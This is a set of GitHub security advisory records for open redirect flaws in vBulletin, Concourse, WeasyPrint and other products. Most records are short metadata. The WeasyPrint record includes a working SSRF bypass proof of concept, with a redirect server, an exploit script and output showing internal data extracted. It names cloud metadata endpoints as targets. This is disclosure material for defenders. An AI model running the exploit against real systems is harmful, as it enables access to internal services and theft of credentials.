CWE-601

{
  "affected": [],
  "aliases": [
    "CVE-2018-15493"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-10-17T14:29:00Z",
    "severity": "MODERATE"
  },
  "details": "vBulletin 5.4.3 has an Open Redirect.",
  "id": "GHSA-966f-g46g-crjp",
  "modified": "2022-05-14T01:54:34Z",
  "published": "2022-05-14T01:54:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15493"
    },
    {
      "type": "WEB",
      "url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2018-017.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/concourse/concourse"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.2.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/concourse/concourse"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.3.0"
            },
            {
              "fixed": "5.5.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/concourse/concourse"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.6.0"
            },
            {
              "fixed": "5.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-15798"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-12T18:15:16Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Pivotal Concourse Release, versions 4.x prior to 4.2.2, login flow allows redirects to untrusted websites. A remote unauthenticated attacker could convince a user to click on a link using the oAuth redirect link with an untrusted website and gain access to that user\u0027s access token in Concourse.\n\n### Specific Go Packages Affected\ngithub.com/concourse/concourse/skymarshal/skyserver",
  "id": "GHSA-9689-rx4v-cqgc",
  "modified": "2023-10-02T11:43:16Z",
  "published": "2022-02-15T01:57:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15798"
    },
    {
      "type": "WEB",
      "url": "https://github.com/concourse/concourse/pull/5350/commits/38cb4cc025e5ed28764b4adc363a0bbf41f3c7cb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/concourse/concourse/blob/release/5.2.x/release-notes/v5.2.8.md"
    },
    {
      "type": "WEB",
      "url": "https://pivotal.io/security/cve-2018-15798"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pivotal Concourse Open Redirect in Login Flow"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-22256"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-22T17:15:00Z",
    "severity": "LOW"
  },
  "details": "Experience Manager versions 6.5.15.0 (and earlier) are affected by a URL Redirection to Untrusted Site (\u0027Open Redirect\u0027) vulnerability. A low-privilege authenticated attacker could leverage this vulnerability to redirect users to malicious websites. Exploitation of this issue requires user interaction.",
  "id": "GHSA-968m-vghv-7qcv",
  "modified": "2023-03-22T18:30:38Z",
  "published": "2023-03-22T18:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22256"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/experience-manager/apsb23-18.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-11044"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-20T10:15:23Z",
    "severity": "MODERATE"
  },
  "details": "An open redirect vulnerability in automatic1111/stable-diffusion-webui version 1.10.0 allows a remote unauthenticated attacker to redirect users to arbitrary websites via a specially crafted URL. This vulnerability can be exploited to conduct phishing attacks, distribute malware, and steal user credentials.",
  "id": "GHSA-96w2-hg6w-6xv2",
  "modified": "2025-03-20T12:32:41Z",
  "published": "2025-03-20T12:32:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11044"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/ee942e5e-4987-4f81-ba83-014fec6b33b3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2016-9078"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-06-11T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "Redirection from an HTTP connection to a \"data:\" URL assigns the referring site\u0027s origin to the \"data:\" URL in some circumstances. This can result in same-origin violations against a domain if it loads resources from malicious sites. Cross-origin setting of cookies has been demonstrated without the ability to read them. Note: This issue only affects Firefox 49 and 50. This vulnerability affects Firefox \u003c 50.0.1.",
  "id": "GHSA-97gg-j6v9-fvp7",
  "modified": "2022-05-14T03:11:18Z",
  "published": "2022-05-14T03:11:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-9078"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1317641"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2016-91"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/94569"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1037353"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2015-3190"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-05-25T17:29:00Z",
    "severity": "MODERATE"
  },
  "details": "With Cloud Foundry Runtime cf-release versions v209 or earlier, UAA Standalone versions 2.2.6 or earlier and Pivotal Cloud Foundry Runtime 1.4.5 or earlier the UAA logout link is susceptible to an open redirect which allows an attacker to insert malicious web page as a redirect parameter.",
  "id": "GHSA-97vp-h7v5-7hcw",
  "modified": "2022-05-13T01:07:01Z",
  "published": "2022-05-13T01:07:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-3190"
    },
    {
      "type": "WEB",
      "url": "https://pivotal.io/security/cve-2015-3190"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2016-1000110"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-11-27T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The CGIHandler class in Python before 2.7.12 does not protect against the HTTP_PROXY variable name clash in a CGI script, which could allow a remote attacker to redirect HTTP requests.",
  "id": "GHSA-97ww-5p4j-7pg9",
  "modified": "2022-07-29T00:00:49Z",
  "published": "2022-05-24T17:02:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-1000110"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-1000110"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2016-1000110"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7K3WFJO3SJQCODKRKU6EQV3ZGHH53YPU"
    },
    {
      "type": "WEB",
      "url": "https://security-tracker.debian.org/tracker/CVE-2016-1000110"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00040.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "weasyprint"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "68.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68616"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-20T16:29:53Z",
    "nvd_published_at": "2026-01-19T16:15:53Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA **Server-Side Request Forgery (SSRF) Protection Bypass** exists in WeasyPrint\u0027s `default_url_fetcher`. The vulnerability allows attackers to access internal network resources (such as `localhost` services or cloud metadata endpoints) even when a developer has implemented a custom `url_fetcher` to block such access. This occurs because the underlying `urllib` library follows HTTP redirects automatically without re-validating the new destination against the developer\u0027s security policy.\n\n### Details\n\nThe default URL fetching mechanism in WeasyPrint (default_url_fetcher in weasyprint/urls.py) is vulnerable to a Server-Side Request Forgery (SSRF) Protection Bypass.\n\nWhile WeasyPrint allows developers to define custom url_fetcher functions to validate or sanitize URLs before fetching (e.g., blocking internal IP addresses or specific ports), the underlying implementation uses Python\u0027s standard urllib.request.urlopen. By default, urllib automatically follows HTTP redirects (status codes 301, 302, 307, etc.) without returning control to the developer\u0027s validation logic for the new target URL.\n\nThis behavior creates a Time-of-Check to Time-of-Use (TOCTOU) vulnerability. An attacker can provide a URL that passes the developer\u0027s allowlist/blocklist (the Check) but immediately redirects to a blocked internal resource (the Use).\n\n### PoC\n\nTo reproduce this vulnerability, use the following setup. This scenario simulates a developer attempting to blacklist access to internal hostnames (e.g., `localhost`).\n\n**1. victim.py (Internal Service - Port 5000)**\nSimulates a sensitive internal service running on localhost.\n\n```python\nfrom flask import Flask\napp = Flask(__name__)\n\n@app.route(\u0027/secret\u0027)\ndef secret():\n    return \"CRITICAL_INTERNAL_DATA\"\n\nif __name__ == \u0027__main__\u0027:\n    # Listens on localhost:5000\n    app.run(port=5000)\n```\n\n**2. attacker.py (External Redirector - Port 1337)**\nSimulates an external server. It accepts a request and redirects it to the blocked hostname (`localhost`).\n\n```python\nfrom flask import Flask, redirect\napp = Flask(__name__)\n\n@app.route(\u0027/image.png\u0027)\ndef malicious():\n    # The vulnerability: Redirects to the BLOCKED hostname\n    return redirect(\"http://localhost:5000/secret\", code=302)\n\nif __name__ == \u0027__main__\u0027:\n    app.run(port=1337)\n```\n\n**3. exploit.py (Vulnerable Implementation)**\nSimulates the application with a security filter intended to block access to \"localhost\".\n\n```python\nfrom weasyprint import HTML, default_url_fetcher\nimport logging\n\n# Security Filter: Intended to block internal hostnames\ndef secure_fetcher(url):\n    # Simulates a blacklist for \u0027localhost\u0027\n    if \"localhost\" in url:\n        raise PermissionError(f\"Security Block: Access to {url} denied.\")\n    \n    print(f\"[ALLOWED] Initial URL check passed for: {url}\")\n    return default_url_fetcher(url)\n\n# EXPLOIT LOGIC:\n# 1. We access the attacker via \u0027127.0.0.1\u0027 (or an external IP). \n#    The string \"127.0.0.1\" passes the check because it is not \"localhost\".\n# 2. The attacker redirects to \"http://localhost:5000/...\".\n# 3. urllib follows the redirect to \u0027localhost\u0027 without re-triggering secure_fetcher.\n\ntry:\n    # Use 127.0.0.1 to bypass the string check for \u0027localhost\u0027\n    html_content = \u0027\u003clink rel=\"attachment\" href=\"http://54.234.88.160:1337/image.png\"\u003e\u0027\n    \n    doc = HTML(string=html_content, url_fetcher=secure_fetcher)\n    doc.write_pdf(\"exploit.pdf\")\n    \n    print(\"Exploit successful. The \u0027localhost\u0027 block was bypassed via redirect.\")\n    print(\"Check exploit.pdf for \u0027CRITICAL_INTERNAL_DATA\u0027.\")\nexcept Exception as e:\n    print(f\"Exploit failed: {e}\")\n```\n**4. Attacker read attachment in PDF**\n```\n\u279c pdfdetach -list resultado_exploit.pdf\n1 embedded files\n1: secret\n\u279c pdfdetach -saveall resultado_exploit.pdf\n\u279c cat secret\nCRITICAL_INTERNAL_DATA\n```\n**Evidence**\n\u003cimg width=\"1514\" height=\"436\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f7881694-be4d-4c63-8bca-2b220e4c87f9\" /\u003e\n\n### Impact\n\nThis vulnerability impacts any application or SaaS platform using WeasyPrint to render user-supplied HTML/CSS that attempts to restrict external resource loading.\n\n  * **Internal Network Reconnaissance:** Attackers can bypass firewalls or allowlists to scan and access internal services (e.g., Redis, ElasticSearch, Admin Panels) running on the loopback interface or local network.\n  * **Cloud Metadata Exfiltration:** In cloud environments, attackers can redirect requests to metadata services (e.g., `http://169.254.169.254`) to steal instance credentials and escalate privileges.\n  * **Security Control Bypass:** It renders the `url_fetcher` security validation logic ineffective against sophisticated attacks, creating a false sense of security for developers.",
  "id": "GHSA-983w-rhvv-gwmv",
  "modified": "2026-07-02T20:22:23Z",
  "published": "2026-01-20T16:29:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-983w-rhvv-gwmv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68616"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kozea/WeasyPrint/commit/b6a14f0f3f4ce9c0c75c1a2d73cb1c5d43f0e565"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-68616"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430858"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Kozea/WeasyPrint"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-68616.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WeasyPrint has a Server-Side Request Forgery (SSRF) Protection Bypass via HTTP Redirect"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-4838"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-17T22:15:19Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability, which was classified as problematic, was found in kanwangzjm Funiture up to 71ca0fb0658b3d839d9e049ac36429207f05329b. Affected is the function doPost of the file /funiture-master/src/main/java/com/app/mvc/acl/servlet/LoginServlet.java of the component Login. The manipulation of the argument ret leads to open redirect. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available.",
  "id": "GHSA-9853-p5pw-c3vc",
  "modified": "2025-05-18T00:30:26Z",
  "published": "2025-05-18T00:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4838"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ShenxiuSec/cve-proofs/blob/main/POC-20250510-01.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.309306"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.309306"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.574825"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-41275"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-13T04:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In SAP Solution Manager (Enterprise Search) - versions 740, and 750, an unauthenticated attacker can generate a link that, if clicked by a logged-in user, can be redirected to a malicious page that could read or modify sensitive information, or expose the user to a phishing attack, with little impact on confidentiality and integrity.",
  "id": "GHSA-9884-hhwq-42c3",
  "modified": "2022-12-15T18:30:25Z",
  "published": "2022-12-13T06:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41275"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/3271313"
    },
    {
      "type": "WEB",
      "url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}